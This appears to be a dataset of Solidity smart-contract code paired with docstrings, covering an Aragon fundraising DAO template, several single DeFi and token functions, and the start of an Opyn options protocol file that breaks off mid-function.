shareVoting); // register id _registerID(_id, address(dao)); // clear cache _clearCache(); } /***** internal apps installation functions *****/ function _installBoardApps(Kernel _dao, MiniMeToken _token, uint64[3] _votingSettings, uint64 _financePeriod) internal returns (TokenManager) { TokenManager tm = _installTokenManagerApp(_dao, _token, BOARD_TRANSFERABLE, BOARD_MAX_PER_ACCOUNT); Voting voting = _installVotingApp(_dao, _token, _votingSettings); Vault vault = _installVaultApp(_dao); Finance finance = _installFinanceApp(_dao, vault, _financePeriod == 0 ? DEFAULT_FINANCE_PERIOD : _financePeriod); _cacheBoardApps(tm, voting, vault, finance); return tm; } function _installShareApps(Kernel _dao, MiniMeToken _shareToken, uint64[3] _shareVotingSettings) internal { TokenManager tm = _installTokenManagerApp(_dao, _shareToken, SHARE_TRANSFERABLE, SHARE_MAX_PER_ACCOUNT); Voting voting = _installVotingApp(_dao, _shareToken, _shareVotingSettings); _cacheShareApps(tm, voting); } function _installFundraisingApps( Kernel _dao, uint256 _goal, uint64 _period, uint256 _exchangeRate, uint64 _vestingCliffPeriod, uint64 _vestingCompletePeriod, uint256 _supplyOfferedPct, uint256 _fundingForBeneficiaryPct, uint64 _openDate, uint256 _batchBlocks, uint256 _maxTapRateIncreasePct, uint256 _maxTapFloorDecreasePct ) internal { _proxifyFundraisingApps(_dao); _initializePresale( _goal, _period, _exchangeRate, _vestingCliffPeriod, _vestingCompletePeriod, _supplyOfferedPct, _fundingForBeneficiaryPct, _openDate ); _initializeMarketMaker(_batchBlocks); _initializeTap(_batchBlocks, _maxTapRateIncreasePct, _maxTapFloorDecreasePct); _initializeController(); } function _proxifyFundraisingApps(Kernel _dao) internal { Agent reserve = _installNonDefaultAgentApp(_dao); Presale presale = Presale(_registerApp(_dao, PRESALE_ID)); BatchedBancorMarketMaker marketMaker = BatchedBancorMarketMaker(_registerApp(_dao, MARKET_MAKER_ID)); Tap tap = Tap(_registerApp(_dao, TAP_ID)); AragonFundraisingController controller = AragonFundraisingController(_registerApp(_dao, ARAGON_FUNDRAISING_ID)); _cacheFundraisingApps(reserve, presale, marketMaker, tap, controller); } /***** internal apps initialization functions *****/ function _initializePresale( uint256 _goal, uint64 _period, uint256 _exchangeRate, uint64 _vestingCliffPeriod, uint64 _vestingCompletePeriod, uint256 _supplyOfferedPct, uint256 _fundingForBeneficiaryPct, uint64 _openDate ) internal { _presaleCache().initialize( _controllerCache(), _shareTMCache(), _reserveCache(), _vaultCache(), collaterals[0], _goal, _period, _exchangeRate, _vestingCliffPeriod, _vestingCompletePeriod, _supplyOfferedPct, _fundingForBeneficiaryPct, _openDate ); } function _initializeMarketMaker(uint256 _batchBlocks) internal { IBancorFormula bancorFormula = IBancorFormula(_latestVersionAppBase(BANCOR_FORMULA_ID)); (,, Vault beneficiary,) = _boardAppsCache(); (TokenManager shareTM,) = _shareAppsCache(); (Agent reserve,, BatchedBancorMarketMaker marketMaker,, AragonFundraisingController controller) = _fundraisingAppsCache(); marketMaker.initialize(controller, shareTM, bancorFormula, reserve, beneficiary, _batchBlocks, BUY_FEE_PCT, SELL_FEE_PCT); } function _initializeTap(uint256 _batchBlocks, uint256 _maxTapRateIncreasePct, uint256 _maxTapFloorDecreasePct) internal { (,, Vault beneficiary,) = _boardAppsCache(); (Agent reserve,,, Tap tap, AragonFundraisingController controller) = _fundraisingAppsCache(); tap.initialize(controller, reserve, beneficiary, _batchBlocks, _maxTapRateIncreasePct, _maxTapFloorDecreasePct); } function _initializeController() internal { (Agent reserve, Presale presale, BatchedBancorMarketMaker marketMaker, Tap tap, AragonFundraisingController controller) = _fundraisingAppsCache(); address[] memory toReset = new address[](1); toReset[0] = collaterals[0]; controller.initialize(presale, marketMaker, reserve, tap, toReset); } /***** internal setup functions *****/ function _setupCollaterals( Kernel _dao, uint256[2] _virtualSupplies, uint256[2] _virtualBalances, uint256[2] _slippages, uint256 _rateDAI, uint256 _floorDAI ) internal { ACL acl = ACL(_dao.acl()); (, Voting shareVoting) = _shareAppsCache(); (,,,, AragonFundraisingController controller) = _fundraisingAppsCache(); // create and grant ADD_COLLATERAL_TOKEN_ROLE to this template _createPermissionForTemplate(acl, address(controller), controller.ADD_COLLATERAL_TOKEN_ROLE()); // add DAI both as a protected collateral and a tapped token controller.addCollateralToken( collaterals[0], _virtualSupplies[0], _virtualBalances[0], DAI_RESERVE_RATIO, _slippages[0], _rateDAI, _floorDAI ); // add ANT as a protected collateral [but not as a tapped token] controller.addCollateralToken( collaterals[1], _virtualSupplies[1], _virtualBalances[1], ANT_RESERVE_RATIO, _slippages[1], 0, 0 ); // transfer ADD_COLLATERAL_TOKEN_ROLE _transferPermissionFromTemplate(acl, controller, shareVoting, controller.ADD_COLLATERAL_TOKEN_ROLE(), shareVoting); } /***** internal permissions functions *****/ function _setupBoardPermissions(Kernel _dao) internal { ACL acl = ACL(_dao.acl()); (TokenManager boardTM, Voting boardVoting, Vault vault, Finance finance) = _boardAppsCache(); (, Voting shareVoting) = _shareAppsCache(); // token manager _createTokenManagerPermissions(acl, boardTM, boardVoting, shareVoting); // voting _createVotingPermissions(acl, boardVoting, boardVoting, boardTM, shareVoting); // vault _createVaultPermissions(acl, vault, finance, shareVoting); // finance _createFinancePermissions(acl, finance, boardVoting, shareVoting); _createFinanceCreatePaymentsPermission(acl, finance, boardVoting, shareVoting); } function _setupSharePermissions(Kernel _dao) internal { ACL acl = ACL(_dao.acl()); (TokenManager boardTM,,,) = _boardAppsCache(); (TokenManager shareTM, Voting shareVoting) = _shareAppsCache(); (, Presale presale, BatchedBancorMarketMaker marketMaker,,) = _fundraisingAppsCache(); // token manager address[] memory grantees = new address[](2); grantees[0] = address(marketMaker); grantees[1] = address(presale); acl.createPermission(marketMaker, shareTM, shareTM.MINT_ROLE(),shareVoting); acl.createPermission(presale, shareTM, shareTM.ISSUE_ROLE(),shareVoting); acl.createPermission(presale, shareTM, shareTM.ASSIGN_ROLE(),shareVoting); acl.createPermission(presale, shareTM, shareTM.REVOKE_VESTINGS_ROLE(), shareVoting); _createPermissions(acl, grantees, shareTM, shareTM.BURN_ROLE(), shareVoting); // voting _createVotingPermissions(acl, shareVoting, shareVoting, boardTM, shareVoting); } function _setupFundraisingPermissions(Kernel _dao) internal { ACL acl = ACL(_dao.acl()); (, Voting boardVoting,,) = _boardAppsCache(); (, Voting shareVoting) = _shareAppsCache(); (Agent reserve, Presale presale, BatchedBancorMarketMaker marketMaker, Tap tap, AragonFundraisingController controller) = _fundraisingAppsCache(); // reserve address[] memory grantees = new address[](2); grantees[0] = address(tap); grantees[1] = address(marketMaker); acl.createPermission(shareVoting, reserve, reserve.SAFE_EXECUTE_ROLE(), shareVoting); acl.createPermission(controller, reserve, reserve.ADD_PROTECTED_TOKEN_ROLE(), shareVoting); _createPermissions(acl, grantees, reserve, reserve.TRANSFER_ROLE(), shareVoting); // presale acl.createPermission(controller, presale, presale.OPEN_ROLE(), shareVoting); acl.createPermission(controller, presale, presale.CONTRIBUTE_ROLE(), shareVoting); // market maker acl.createPermission(controller, marketMaker, marketMaker.OPEN_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.UPDATE_BENEFICIARY_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.UPDATE_FEES_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.ADD_COLLATERAL_TOKEN_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.REMOVE_COLLATERAL_TOKEN_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.UPDATE_COLLATERAL_TOKEN_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.OPEN_BUY_ORDER_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.OPEN_SELL_ORDER_ROLE(), shareVoting); // tap acl.createPermission(controller, tap, tap.UPDATE_BENEFICIARY_ROLE(), shareVoting); acl.createPermission(controller, tap, tap.UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE(), shareVoting); acl.createPermission(controller, tap, tap.UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE(), shareVoting); acl.createPermission(controller, tap, tap.ADD_TAPPED_TOKEN_ROLE(), shareVoting); acl.createPermission(controller, tap, tap.UPDATE_TAPPED_TOKEN_ROLE(), shareVoting); acl.createPermission(controller, tap, tap.RESET_TAPPED_TOKEN_ROLE(), shareVoting); acl.createPermission(controller, tap, tap.WITHDRAW_ROLE(), shareVoting); // controller // ADD_COLLATERAL_TOKEN_ROLE is handled later [after collaterals have been added] acl.createPermission(shareVoting, controller, controller.UPDATE_BENEFICIARY_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.UPDATE_FEES_ROLE(), shareVoting); // acl.createPermission(shareVoting, controller, controller.ADD_COLLATERAL_TOKEN_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.REMOVE_COLLATERAL_TOKEN_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.UPDATE_COLLATERAL_TOKEN_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.ADD_TOKEN_TAP_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.UPDATE_TOKEN_TAP_ROLE(), shareVoting); acl.createPermission(boardVoting, controller, controller.OPEN_PRESALE_ROLE(), shareVoting); acl.createPermission(presale, controller, controller.OPEN_TRADING_ROLE(), shareVoting); acl.createPermission(address(-1), controller, controller.CONTRIBUTE_ROLE(), shareVoting); acl.createPermission(address(-1), controller, controller.OPEN_BUY_ORDER_ROLE(), shareVoting); acl.createPermission(address(-1), controller, controller.OPEN_SELL_ORDER_ROLE(), shareVoting); acl.createPermission(address(-1), controller, controller.WITHDRAW_ROLE(), shareVoting); } /***** internal cache functions *****/ function _cacheDao(Kernel _dao) internal { Cache storage c = cache[msg.sender]; c.dao = address(_dao); } function _cacheBoardApps(TokenManager _boardTM, Voting _boardVoting, Vault _vault, Finance _finance) internal { Cache storage c = cache[msg.sender]; c.boardTokenManager = address(_boardTM); c.boardVoting = address(_boardVoting); c.vault = address(_vault); c.finance = address(_finance); } function _cacheShareApps(TokenManager _shareTM, Voting _shareVoting) internal { Cache storage c = cache[msg.sender]; c.shareTokenManager = address(_shareTM); c.shareVoting = address(_shareVoting); } function _cacheFundraisingApps(Agent _reserve, Presale _presale, BatchedBancorMarketMaker _marketMaker, Tap _tap, AragonFundraisingController _controller) internal { Cache storage c = cache[msg.sender]; c.reserve = address(_reserve); c.presale = address(_presale); c.marketMaker = address(_marketMaker); c.tap = address(_tap); c.controller = address(_controller); } function _daoCache() internal view returns (Kernel dao) { Cache storage c = cache[msg.sender]; dao = Kernel(c.dao); } function _boardAppsCache() internal view returns (TokenManager boardTM, Voting boardVoting, Vault vault, Finance finance) { Cache storage c = cache[msg.sender]; boardTM = TokenManager(c.boardTokenManager); boardVoting = Voting(c.boardVoting); vault = Vault(c.vault); finance = Finance(c.finance); } function _shareAppsCache() internal view returns (TokenManager shareTM, Voting shareVoting) { Cache storage c = cache[msg.sender]; shareTM = TokenManager(c.shareTokenManager); shareVoting = Voting(c.shareVoting); } function _fundraisingAppsCache() internal view returns ( Agent reserve, Presale presale, BatchedBancorMarketMaker marketMaker, Tap tap, AragonFundraisingController controller ) { Cache storage c = cache[msg.sender]; reserve = Agent(c.reserve); presale = Presale(c.presale); marketMaker = BatchedBancorMarketMaker(c.marketMaker); tap = Tap(c.tap); controller = AragonFundraisingController(c.controller); } function _clearCache() internal { Cache storage c = cache[msg.sender]; delete c.dao; delete c.boardTokenManager; delete c.boardVoting; delete c.vault; delete c.finance; delete c.shareVoting; delete c.shareTokenManager; delete c.reserve; delete c.presale; delete c.marketMaker; delete c.tap; delete c.controller; } /** * NOTE * the following functions are only needed for the presale * initialization function [which we can't compile otherwise * because of a `stack too deep` error] */ function _vaultCache() internal view returns (Vault vault) { Cache storage c = cache[msg.sender]; vault = Vault(c.vault); } function _shareTMCache() internal view returns (TokenManager shareTM) { Cache storage c = cache[msg.sender]; shareTM = TokenManager(c.shareTokenManager); } function _reserveCache() internal view returns (Agent reserve) { Cache storage c = cache[msg.sender]; reserve = Agent(c.reserve); } function _presaleCache() internal view returns (Presale presale) { Cache storage c = cache[msg.sender]; presale = Presale(c.presale); } function _controllerCache() internal view returns (AragonFundraisingController controller) { Cache storage c = cache[msg.sender]; controller = AragonFundraisingController(c.controller); } /***** internal check functions *****/ function _ensureBoardAppsCache() internal view { Cache storage c = cache[msg.sender]; require( c.boardTokenManager != address(0) && c.boardVoting != address(0) && c.vault != address(0) && c.finance != address(0), ERROR_MISSING_CACHE ); } function _ensureShareAppsCache() internal view { Cache storage c = cache[msg.sender]; require( c.shareTokenManager != address(0) && c.shareVoting != address(0), ERROR_MISSING_CACHE ); } function _ensureFundraisingAppsCache() internal view { Cache storage c = cache[msg.sender]; require( c.reserve != address(0) && c.presale != address(0) && c.marketMaker != address(0) && c.tap != address(0) && c.controller != address(0), ERROR_MISSING_CACHE ); } /***** internal utils functions *****/ function _registerApp(Kernel _dao, bytes32 _appId) internal returns (address) { address proxy = _dao.newAppInstance(_appId, _latestVersionAppBase(_appId)); emit InstalledApp(proxy, _appId); return proxy; } }
Update maximum tap floor decrease percentage to `@formatPct(_maximumTapFloorDecreasePct)`% _maximumTapFloorDecreasePct The new maximum tap floor decrease percentage to be allowed [in PCT_BASE]/
function updateMaximumTapFloorDecreasePct(uint256 _maximumTapFloorDecreasePct) external auth(UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE) { require(_maximumTapFloorDecreasePctIsValid(_maximumTapFloorDecreasePct), ERROR_INVALID_FLOOR_DECREASE_PCT); _updateMaximumTapFloorDecreasePct(_maximumTapFloorDecreasePct); }
451,776
./full_match/1/0xeC0Ba701C084b70BC230C884F999670FE71E4687/sources/contracts/AlphaDeed.sol
called after each reveal, in batches. Each addition to the array MUST be sequential. E.g., 1st Batch: Rates for tokens 0-2000 2nd Batch: rates for tokens 2001 - 5184 A token's rate should not be added until after it has been revealed.
function addYieldRates(uint16[] calldata _yieldRates) external onlyOwner { for (uint16 i; i < _yieldRates.length; i++) { yieldRates.push(_yieldRates[i]); } }
4,931,009
./full_match/42220/0x15933c88be4B8021053977038634DFfC1deD3D58/sources/project_/contracts/CarbonCreditToken.sol
Renounce the permission list, rendering this token non-permissioned NOTE: This operation is irreversible, it will leave the token permanently non-permissioned!
function renouncePermissionList() onlyOwner external { permissionList = ICarbonCreditPermissionList(address(0)); }
16,321,538
./partial_match/4/0x36472Dd657335c95f344b0000AcaFDe21eAfd7f8/sources/StrategyAllETHOnly.sol
Execute worker strategy. Take LP tokens + ETH. Return LP tokens + ETH. data Extra calldata information passed along to this strategy. 1. Find out what farming token we are dealing with and min additional LP tokens. 2. Compute the optimal amount of ETH to be converted to farming tokens. 3. Convert that portion of ETH to farming tokens. 4. Mint more LP tokens and return all LP tokens to the sender.
function execute(address /* user */, uint256 /* debt */, bytes calldata data) external payable nonReentrant { (address fToken, uint256 minLPAmount) = abi.decode(data, (address, uint256)); IUniswapV2Pair lpToken = IUniswapV2Pair(factory.getPair(fToken, weth)); uint256 balance = address(this).balance; (uint256 r0, uint256 r1, ) = lpToken.getReserves(); uint256 rIn = lpToken.token0() == weth ? r0 : r1; uint256 aIn = Math.sqrt(rIn.mul(balance.mul(3988000).add(rIn.mul(3988009)))).sub(rIn.mul(1997)) / 1994; address[] memory path = new address[](2); path[0] = weth; path[1] = fToken; router.swapExactETHForTokens.value(aIn)(0, path, address(this), now); fToken.safeApprove(address(router), 0); fToken.safeApprove(address(router), uint(-1)); (,, uint256 moreLPAmount) = router.addLiquidityETH.value(address(this).balance)( fToken, fToken.myBalance(), 0, 0, address(this), now ); require(moreLPAmount >= minLPAmount, "insufficient LP tokens received"); lpToken.transfer(msg.sender, lpToken.balanceOf(address(this))); }
8,561,995
/** * SPDX-License-Identifier: UNLICENSED */ pragma solidity =0.6.10; pragma experimental ABIEncoderV2; // File: contracts/packages/oz/upgradeability/Initializable.sol /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: contracts/packages/oz/upgradeability/GSN/ContextUpgradeable.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer {} function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File: contracts/packages/oz/upgradeability/OwnableUpgradeSafe.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init(address _sender) internal initializer { __Context_init_unchained(); __Ownable_init_unchained(_sender); } function __Ownable_init_unchained(address _sender) internal initializer { _owner = _sender; emit OwnershipTransferred(address(0), _sender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File: contracts/packages/oz/upgradeability/ReentrancyGuardUpgradeSafe.sol /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuardUpgradeSafe is Initializable { bool private _notEntered; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } uint256[49] private __gap; } // File: contracts/packages/oz/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/libs/MarginVault.sol /** * MarginVault Error Codes * V1: invalid short otoken amount * V2: invalid short otoken index * V3: short otoken address mismatch * V4: invalid long otoken amount * V5: invalid long otoken index * V6: long otoken address mismatch * V7: invalid collateral amount * V8: invalid collateral token index * V9: collateral token address mismatch */ /** * @title MarginVault * @author Opyn Team * @notice A library that provides the Controller with a Vault struct and the functions that manipulate vaults. * Vaults describe discrete position combinations of long options, short options, and collateral assets that a user can have. */ library MarginVault { using SafeMath for uint256; // vault is a struct of 6 arrays that describe a position a user has, a user can have multiple vaults. struct Vault { // addresses of oTokens a user has shorted (i.e. written) against this vault address[] shortOtokens; // addresses of oTokens a user has bought and deposited in this vault // user can be long oTokens without opening a vault (e.g. by buying on a DEX) // generally, long oTokens will be 'deposited' in vaults to act as collateral in order to write oTokens against (i.e. in spreads) address[] longOtokens; // addresses of other ERC-20s a user has deposited as collateral in this vault address[] collateralAssets; // quantity of oTokens minted/written for each oToken address in shortOtokens uint256[] shortAmounts; // quantity of oTokens owned and held in the vault for each oToken address in longOtokens uint256[] longAmounts; // quantity of ERC-20 deposited as collateral in the vault for each ERC-20 address in collateralAssets uint256[] collateralAmounts; } /** * @dev increase the short oToken balance in a vault when a new oToken is minted * @param _vault vault to add or increase the short position in * @param _shortOtoken address of the _shortOtoken being minted from the user's vault * @param _amount number of _shortOtoken being minted from the user's vault * @param _index index of _shortOtoken in the user's vault.shortOtokens array */ function addShort( Vault storage _vault, address _shortOtoken, uint256 _amount, uint256 _index ) external { require(_amount > 0, "V1"); // valid indexes in any array are between 0 and array.length - 1. // if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1 if ((_index == _vault.shortOtokens.length) && (_index == _vault.shortAmounts.length)) { _vault.shortOtokens.push(_shortOtoken); _vault.shortAmounts.push(_amount); } else { require((_index < _vault.shortOtokens.length) && (_index < _vault.shortAmounts.length), "V2"); address existingShort = _vault.shortOtokens[_index]; require((existingShort == _shortOtoken) || (existingShort == address(0)), "V3"); _vault.shortAmounts[_index] = _vault.shortAmounts[_index].add(_amount); _vault.shortOtokens[_index] = _shortOtoken; } } /** * @dev decrease the short oToken balance in a vault when an oToken is burned * @param _vault vault to decrease short position in * @param _shortOtoken address of the _shortOtoken being reduced in the user's vault * @param _amount number of _shortOtoken being reduced in the user's vault * @param _index index of _shortOtoken in the user's vault.shortOtokens array */ function removeShort( Vault storage _vault, address _shortOtoken, uint256 _amount, uint256 _index ) external { // check that the removed short oToken exists in the vault at the specified index require(_index < _vault.shortOtokens.length, "V2"); require(_vault.shortOtokens[_index] == _shortOtoken, "V3"); uint256 newShortAmount = _vault.shortAmounts[_index].sub(_amount); if (newShortAmount == 0) { delete _vault.shortOtokens[_index]; } _vault.shortAmounts[_index] = newShortAmount; } /** * @dev increase the long oToken balance in a vault when an oToken is deposited * @param _vault vault to add a long position to * @param _longOtoken address of the _longOtoken being added to the user's vault * @param _amount number of _longOtoken the protocol is adding to the user's vault * @param _index index of _longOtoken in the user's vault.longOtokens array */ function addLong( Vault storage _vault, address _longOtoken, uint256 _amount, uint256 _index ) external { require(_amount > 0, "V4"); // valid indexes in any array are between 0 and array.length - 1. // if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1 if ((_index == _vault.longOtokens.length) && (_index == _vault.longAmounts.length)) { _vault.longOtokens.push(_longOtoken); _vault.longAmounts.push(_amount); } else { require((_index < _vault.longOtokens.length) && (_index < _vault.longAmounts.length), "V5"); address existingLong = _vault.longOtokens[_index]; require((existingLong == _longOtoken) || (existingLong == address(0)), "V6"); _vault.longAmounts[_index] = _vault.longAmounts[_index].add(_amount); _vault.longOtokens[_index] = _longOtoken; } } /** * @dev decrease the long oToken balance in a vault when an oToken is withdrawn * @param _vault vault to remove a long position from * @param _longOtoken address of the _longOtoken being removed from the user's vault * @param _amount number of _longOtoken the protocol is removing from the user's vault * @param _index index of _longOtoken in the user's vault.longOtokens array */ function removeLong( Vault storage _vault, address _longOtoken, uint256 _amount, uint256 _index ) external { // check that the removed long oToken exists in the vault at the specified index require(_index < _vault.longOtokens.length, "V5"); require(_vault.longOtokens[_index] == _longOtoken, "V6"); uint256 newLongAmount = _vault.longAmounts[_index].sub(_amount); if (newLongAmount == 0) { delete _vault.longOtokens[_index]; } _vault.longAmounts[_index] = newLongAmount; } /** * @dev increase the collateral balance in a vault * @param _vault vault to add collateral to * @param _collateralAsset address of the _collateralAsset being added to the user's vault * @param _amount number of _collateralAsset being added to the user's vault * @param _index index of _collateralAsset in the user's vault.collateralAssets array */ function addCollateral( Vault storage _vault, address _collateralAsset, uint256 _amount, uint256 _index ) external { require(_amount > 0, "V7"); // valid indexes in any array are between 0 and array.length - 1. // if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1 if ((_index == _vault.collateralAssets.length) && (_index == _vault.collateralAmounts.length)) { _vault.collateralAssets.push(_collateralAsset); _vault.collateralAmounts.push(_amount); } else { require((_index < _vault.collateralAssets.length) && (_index < _vault.collateralAmounts.length), "V8"); address existingCollateral = _vault.collateralAssets[_index]; require((existingCollateral == _collateralAsset) || (existingCollateral == address(0)), "V9"); _vault.collateralAmounts[_index] = _vault.collateralAmounts[_index].add(_amount); _vault.collateralAssets[_index] = 